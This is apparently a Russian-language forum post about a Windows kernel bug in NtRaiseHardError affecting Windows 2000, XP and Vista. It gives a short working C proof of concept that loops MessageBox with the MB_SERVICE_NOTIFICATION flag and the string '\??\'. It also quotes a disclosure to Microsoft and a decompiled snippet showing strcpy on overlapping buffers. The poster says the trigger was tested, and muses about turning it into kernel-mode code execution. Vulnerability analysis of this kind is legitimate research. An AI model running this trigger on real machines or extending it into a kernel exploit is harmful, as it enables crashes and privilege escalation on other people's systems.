я тестил, работает. сплоит можно сократить до
Код:
#include <windows.h>
int main(void){
int i;
char bug [] ="\\??\\";
for(i = 0; i < 10; i ++) MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}
Работает на ура.
MessageBox при флаге MB_SERVICE_NOTIFICATION вызывает на самом деле ntdll!NtRaiseHardError для показа окошка, а она - переходник для функции ядра ntoskrnl!NtRaiseHardError.
В ней идет обработка первых символов \??\ весьма причудливым образом.
Как написано в письме, отосланном в микрософт,
]it looks like some
"debug" feature not cleaned out in final release and it seems to
exploitable to code execution at kernel level.
Вот такие пироги. Если повезет, можно накатать сплоит для выполнения кода в режиме ядра, последствия чего пояснять не стоит.
Уязвимые версии - 2000 (все сп), XP ( все сп), Vista.
Однако микрософт продолжает считать Висту защищенной. Ну-ну
Вот такие пироги, в кратце)
UPD: Кусок кода NtRaiseHardError:
Код:
} else if ((asLocal.Length > 4) && !_strnicmp(asLocal.Buffer, "\\??\\", 4)) {
strcpy( asLocal.Buffer, asLocal.Buffer+4 );
по документации strcpy: The behavior of strcpy is undefined if the source and destination strings overlap.